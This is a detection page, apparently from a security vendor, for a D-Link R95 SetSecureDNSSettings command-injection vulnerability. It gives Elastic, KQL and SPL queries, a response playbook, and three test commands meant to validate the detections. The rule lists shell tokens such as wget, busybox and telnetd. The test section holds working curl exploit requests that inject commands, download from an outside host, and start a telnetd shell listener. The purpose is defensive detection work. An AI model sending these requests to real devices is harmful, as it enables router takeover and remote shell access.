Skip to content
CVE-2026-138226 Elastic Security · Elastic

Detect D-Link R95 SetSecureDNSSettings Command Injection (CVE-2026-138226) in Elastic Security

Detects exploitation attempts against CVE-2026-138226, a critical (CVSS 9.3) OS command injection vulnerability (CWE-77, CWE-78) in the SetSecureDNSSettings function within /bin/ssi (DHMAPI SOAP interface) on D-Link R95 1.04B04Beta. Manipulation of the URI argument leads to OS command execution. The attack can be launched remotely. The exploit has been disclosed to the public. Because the vulnerable surface is an embedded router binary, detection focuses on inbound HTTP/SSI requests carrying shell metacharacters toward the DNS settings endpoint and, where device telemetry is forwarded, anomalous child processes spawned by the web/CGI service (/bin/ssi).

MITRE ATT&CK

Tactic
Initial Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence
network where destination.port in (80, 443, 8080) and
  url.path like~ ("*SetSecureDNSSettings*", "*/ssi*", "*SecureDNS*") and
  (url.query : ("*;*", "*|*", "*`*", "*$(*", "*&&*", "*%3B*", "*%7C*", "*wget*", "*curl*", "*busybox*", "*/bin/sh*", "*telnetd*"))
critical severity medium confidence

EQL network rule matching HTTP requests to the R95 ssi/SecureDNS endpoint with command-injection tokens in the query string.

Data Sources

PacketbeatNetwork Proxy Logs

Required Tables

packetbeat-*logs-network-*

False Positives & Tuning

  • Authorized scanning traffic
  • Lab/pentest exploitation
  • Benign admin configuration with special characters

Other platforms for CVE-2026-138226


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated SetSecureDNSSettings command injection via semicolon

    Expected signal: Proxy/WAF log entry for a request to /ssi containing SetSecureDNSSettings and a semicolon-separated command.

  2. Test 2 Command injection with payload download tokens

    Expected signal: HTTP request log showing backtick-wrapped wget to an external host against the ssi endpoint.

  3. Test 3 Pipe-based command chaining probe

    Expected signal: Request log with %7C (pipe) and telnetd in the SecureDNS parameter; potential new listening port on the device.


Response Playbook

Triage

  1. Confirm whether the destination IP/host is a D-Link R95 running firmware 1.04B04Beta and whether its web management interface is reachable from the source of the request.
  2. URL-decode the captured request and inspect the SetSecureDNSSettings parameters for shell metacharacters (`;`, `|`, `` ` ``, `$(...)`, `&&`) and payload binaries (wget, curl, busybox, telnetd).
  3. Determine whether the request originated from an authorized scanner/pentest IP or from an unknown/external source by cross-referencing threat-intel and allowlists.
  4. Check for an HTTP 200/success response and any outbound connections from the device immediately following the request, indicating successful command execution.

Containment

  1. Block the source IP at the perimeter firewall and restrict the R95 web management interface to trusted management networks only.
  2. Isolate the affected router from the WAN and disable remote administration until patched or replaced.
  3. If compromise is confirmed, power-cycle and factory-reset the device, then re-provision from known-good firmware.

Evidence Collection

  1. Preserve full proxy/WAF/firewall logs of the inbound request including decoded URL, headers, source IP and timestamps.
  2. Capture any available device-side logs from /bin/ssi and the DHMAPI component, plus NetFlow for outbound connections post-exploitation.
  3. Export packet captures of the session if network sensors were recording the management VLAN.

Escalation Criteria

  • !Escalate to IR when a command-injection request is followed by outbound connections, new processes, or configuration changes on the device.
  • !Escalate when exploitation originates from an external/untrusted source against an internet-exposed R95.
  • !Escalate when multiple R95 devices show the same injection pattern, indicating mass scanning or botnet recruitment.

Investigation Guide

Forensic Artifacts

  • >Inbound HTTP request logs to /ssi containing SetSecureDNSSettings with shell metacharacters
  • >Anomalous child processes spawned by the web/CGI service on the device
  • >Modified DNS/Secure DNS configuration or dropped binaries (busybox-based tools) on the router filesystem

Tuning Guidance

Allowlist known vulnerability-scanner and penetration-test source IPs to reduce noise. If the R95 management interface is only reachable from a dedicated management VLAN, restrict the rule scope to that destination range. Tune the metacharacter set if legitimate DNS configuration values in your environment contain semicolons, and correlate with device-side process telemetry where available to raise confidence from medium to high.


Hunting Queries

Surface sources repeatedly sending shell metacharacters to the ssi endpoint, indicating scanning or exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has 'ssi' | extend d=url_decode(RequestURL) | where d has_any (';','|','`','$(') | summarize count() by SourceIP, bin(TimeGenerated,1h)
Hunting — SPL
spl
``` df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence ```
index=proxy url=*ssi* | eval d=urldecode(url) | where match(d,"[;|`]|\$\(") | stats count by src_ip

Atomic Red Team Tests

Test 1 Simulated SetSecureDNSSettings command injection via semicolon
linux

Sends an HTTP request to the R95 ssi endpoint injecting an id command through the SecureDNS parameter in a lab environment.

Command

bash
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=8.8.8.8%3Bid'

Cleanup

bash
echo 'No cleanup required; request is non-persistent. Factory-reset lab device if config changed.'

Expected Telemetry

Proxy/WAF log entry for a request to /ssi containing SetSecureDNSSettings and a semicolon-separated command.

Expected Detection

KQL/SPL rules match the decoded URL containing 'SetSecureDNSSettings' and the `;` metacharacter.

Test 2 Command injection with payload download tokens
linux

Simulates an attacker attempting to fetch a second-stage payload via busybox/wget through the vulnerable parameter.

Command

bash
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=1.1.1.1%60wget%20http://198.51.100.5/x%60'

Cleanup

bash
echo 'Non-persistent request; remove any downloaded artifact from lab device filesystem if present.'

Expected Telemetry

HTTP request log showing backtick-wrapped wget to an external host against the ssi endpoint.

Expected Detection

Detection rules fire on 'wget' and backtick tokens in the SecureDNS request.

Test 3 Pipe-based command chaining probe
linux

Tests the injection surface using a URL-encoded pipe to chain a command via the SecureDNS field.

Command

bash
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=9.9.9.9%7Ctelnetd%20-l%2Fbin%2Fsh%20-p9999'

Cleanup

bash
echo 'Kill any telnetd started on lab device: killall telnetd; reboot device.'

Expected Telemetry

Request log with %7C (pipe) and telnetd in the SecureDNS parameter; potential new listening port on the device.

Expected Detection

Rules match on the %7C/pipe and telnetd indicators in the request.

Related Detections